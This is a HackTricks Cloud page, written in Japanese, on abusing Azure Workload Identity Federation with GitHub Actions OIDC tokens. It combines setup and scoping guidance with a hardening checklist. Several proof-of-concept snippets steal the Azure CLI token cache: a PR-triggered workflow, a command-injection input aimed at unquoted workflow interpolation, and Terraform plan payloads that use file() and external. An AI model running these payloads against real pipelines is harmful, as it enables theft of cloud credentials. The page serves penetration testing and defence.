Files
hacktricks-cloud/src/pentesting-cloud/azure-security/az-basic-information/az-federation-abuse.md

11 KiB
Raw Blame History

Azure Federation Abuse (GitHub Actions OIDC / Workload Identity)

{{#include ../../../banners/hacktricks-training.md}}

概要

GitHub ActionsはOpenID Connect (OIDC)を用いてAzure Entra ID旧Azure ADとフェデレーションできます。GitHub workflowは、実行の詳細をエンコードした短命のGitHub ID token (JWT)を要求します。AzureはこのトークンをApp Registrationservice principal上のFederated Identity Credential (FIC)に対して検証し、Azureアクセス トークンMSALキャッシュ、Azure API向けのbearerトークンと交換します。

Azureが少なくとも検証する項目:

デフォルトのGitHub audはGitHubのURLである場合がある。Azureと交換する際は、明示的に audience=api://AzureADTokenExchange を設定する。

GitHub ID token 簡易 PoC

name: Print OIDC identity token
on: { workflow_dispatch: {} }
permissions:
id-token: write
jobs:
view-token:
runs-on: ubuntu-latest
steps:
- name: get-token
run: |
OIDC_TOKEN=$(curl -H "Authorization: bearer $ACTIONS_ID_TOKEN_REQUEST_TOKEN" "$ACTIONS_ID_TOKEN_REQUEST_URL")
# Base64 avoid GitHub masking
echo "$OIDC_TOKEN" | base64 -w0

トークン要求時に Azure の audience を強制するには:

OIDC_TOKEN=$(curl -H "Authorization: bearer $ACTIONS_ID_TOKEN_REQUEST_TOKEN" \
"$ACTIONS_ID_TOKEN_REQUEST_URL&audience=api://AzureADTokenExchange")

Azure セットアップ (Workload Identity Federation)

  1. App Registration (service principal) を作成し、最小権限を付与する(例:特定の storage account に対して Storage Blob Data Contributor

  2. Federated identity credentials を追加する:

  • Issuer: https://token.actions.githubusercontent.com
  • Audience: api://AzureADTokenExchange
  • Subject identifier: 対象の workflow/run コンテキストに厳密にスコープすること(下の Scoping and risks を参照)。
  1. azure/login を使って GitHub ID token を交換し、Azure CLI にサインインする:
name: Deploy to Azure
on:
push: { branches: [main] }
permissions:
id-token: write
contents: read
jobs:
deploy:
runs-on: ubuntu-latest
steps:
- name: Az CLI login
uses: azure/login@v2
with:
client-id: ${{ secrets.AZURE_CLIENT_ID }}
tenant-id: ${{ secrets.AZURE_TENANT_ID }}
subscription-id: ${{ secrets.AZURE_SUBSCRIPTION_ID }}
- name: Upload file to Azure
run: |
az storage blob upload --data "test" -c hmm -n testblob \
--account-name sofiatest --auth-mode login

手動交換の例 (Graph scope を示す; ARM やその他の resources も同様):

POST /<TENANT-ID>/oauth2/v2.0/token HTTP/2
Host: login.microsoftonline.com
Content-Type: application/x-www-form-urlencoded

client_id=<app-client-id>&grant_type=client_credentials&
client_assertion=<GitHub-ID-token>&client_info=1&
client_assertion_type=urn%3Aietf%3Aparams%3Aoauth%3Aclient-assertion-type%3Ajwt-bearer&
scope=https%3a%2f%2fgraph.microsoft.com%2f%2f.default

GitHub OIDC subject (sub) の構造とカスタマイズ

デフォルトの sub 形式: repo:/:

Context の値には次が含まれる:

  • environment:
  • pull_request (environment が指定されていない場合に PR がトリガーされる)
  • ref:refs/(heads|tags)/

ペイロードに含まれることが多い有用なクレーム:

  • repository, ref, ref_type, ref_protected, repository_visibility, job_workflow_ref, actor

GitHub API を使って sub の構成をカスタマイズし、追加の claims を含めて衝突リスクを減らす:

gh api orgs/<org>/actions/oidc/customization/sub
gh api repos/<org>/<repo>/actions/oidc/customization/sub
# Example to include owner and visibility
gh api \
--method PUT \
repos/<org>/<repo>/actions/oidc/customization/sub \
-f use_default=false \
-f include_claim_keys='["repository_owner","repository_visibility"]'

注意: 環境名のコロンは URL エンコードされており (%3A)、sub parsing に対する古い delimiterinjection の手口を排除します。ただし、nonunique な subjects例: environment: のみ)を使うのは依然として unsafe です。

FIC サブジェクトタイプの範囲とリスク

  • Branch/Tag: sub=repo:/:ref:refs/heads/ or ref:refs/tags/
  • リスク: branch/tag が保護されていない場合、任意の contributor が push して tokens を取得できる。
  • Environment: sub=repo:/:environment:
  • リスク: Unprotected environmentsレビューアがいないだと、contributors が tokens を mint できる。
  • Pull request: sub=repo:/:pull_request
  • 最も高いリスク: 任意の collaborator が PR を開き、FIC を満たせる。

PoC: PRtriggered token theft (exfiltrate the Azure CLI cache written by azure/login):

name: Steal tokens
on: pull_request
permissions:
id-token: write
contents: read
jobs:
extract-creds:
runs-on: ubuntu-latest
steps:
- name: azure login
uses: azure/login@v2
with:
client-id: ${{ secrets.AZURE_CLIENT_ID }}
tenant-id: ${{ secrets.AZURE_TENANT_ID }}
subscription-id: ${{ secrets.AZURE_SUBSCRIPTION_ID }}
- name: Extract access token
run: |
# Azure CLI caches tokens here on Linux runners
cat /home/runner/.azure/msal_token_cache.json | base64 -w0 | base64 -w0
# Decode twice locally to recover the bearer token

関連ファイルの場所とメモ:

  • Linux/macOS: ~/.azure/msal_token_cache.json は az CLI セッション用の MSAL tokens を保持します
  • Windows: msal_token_cache.bin はユーザープロファイル内にあり; DPAPIprotected

再利用ワークフローと job_workflow_ref のスコープ

再利用ワークフローを呼び出すと、job_workflow_ref が GitHub ID token に追加されます。例:

ndc-security-demo/reusable-workflows/.github/workflows/reusable-file-upload.yaml@refs/heads/main

呼び出し元リポジトリと再利用可能なワークフローの両方をバインドするためのFICの例

sub=repo:<org>/<repo>:job_workflow_ref:<org>/<reusable-repo>/.github/workflows/<file>@<ref>

caller repoでclaimsを構成して、repoとjob_workflow_refの両方がsubに含まれるようにしてください:

PUT /repos/<org>/<repo>/actions/oidc/customization/sub HTTP/2
Host: api.github.com
Authorization: token <access token>

{"use_default": false, "include_claim_keys": ["repo", "job_workflow_ref"]}

警告: FICでjob_workflow_refだけをバインドすると、攻撃者が同じ組織内に別のリポジトリを作成し、同じrefで同じ再利用可能なワークフローを実行してFICを満たし、トークンをミントする可能性があります。常に呼び出し元リポジトリも含めてください。

job_workflow_refの保護を回避するコード実行ベクター

適切にスコープされたjob_workflow_refがあっても、シェルに安全にクオートされずに到達する呼び出し元が制御するデータは、保護されたワークフローコンテキスト内でのコード実行につながる可能性があります。

再利用可能なステップの脆弱な例(未クオートの補間):

- name: Example Security Check
run: |
echo "Checking file contents"
if [[ "${{ inputs.file_contents }}" == *"malicious"* ]]; then
echo "Malicious content detected!"; exit 1
else
echo "File contents are safe."
fi

コマンドを実行し、Azure のトークン キャッシュを持ち出すための悪意のある呼び出し元の入力:

with:
file_contents: 'a" == "a" ]]; then cat /home/runner/.azure/msal_token_cache.json | base64 -w0 | base64 -w0; fi; if [[ "a'

PRsにおける実行プリミティブとしての Terraform plan

terraform plan をコード実行として扱う。
plan 実行中、Terraform は以下が可能:

  • file() のような関数を介して任意のファイルを読み取る
  • external data source を介してコマンドを実行する

plan 実行中に Azure token cache を抜き出す例:

output "msal_token_cache" {
value = base64encode(base64encode(file("/home/runner/.azure/msal_token_cache.json")))
}

または external を使って任意のコマンドを実行する:

data "external" "exfil" {
program = ["bash", "-lc", "cat ~/.azure/msal_token_cache.json | base64 -w0 | base64 -w0"]
}

Granting FICs usable on PRtriggered plans exposes privileged tokens and can tee up destructive apply later. Separate identities for plan vs apply; never allow privileged tokens in untrusted PR contexts.

ハードニングチェックリスト

  • 機密性の高い FICs に対して sub=...:pull_request を使用しない
  • FICs で参照される branch/tag/environment を保護するbranch protection、environment reviewers
  • reusable workflows 用には repo と job_workflow_ref の両方にスコープされた FICs を優先する
  • GitHub OIDC の sub をカスタマイズしてユニークなクレーム(例: repo, job_workflow_ref, repository_ownerを含める
  • caller inputs の未引用インターポレーションを run ステップに埋め込むことを排除する;安全にエンコード/引用する
  • terraform plan をコード実行として扱い、PR コンテキストではアイデンティティを制限または分離する
  • App Registrations に最小権限を適用し、plan と apply のアイデンティティを分離する
  • actions と reusable workflows をコミット SHA にピン留めするbranch/tag ピンは避ける)

手動テストのヒント

  • ワークフロー内で GitHub ID token を要求し、マスキングを避けるため base64 で出力する
  • JWT をデコードしてクレームを確認する: iss, aud, sub, job_workflow_ref, repository, ref
  • ID token を手動で login.microsoftonline.com に対して交換し、FIC の一致とスコープを確認する
  • azure/login の後で ~/.azure/msal_token_cache.json を読み、トークン素材の存在を検証する

参考

{{#include ../../../banners/hacktricks-training.md}}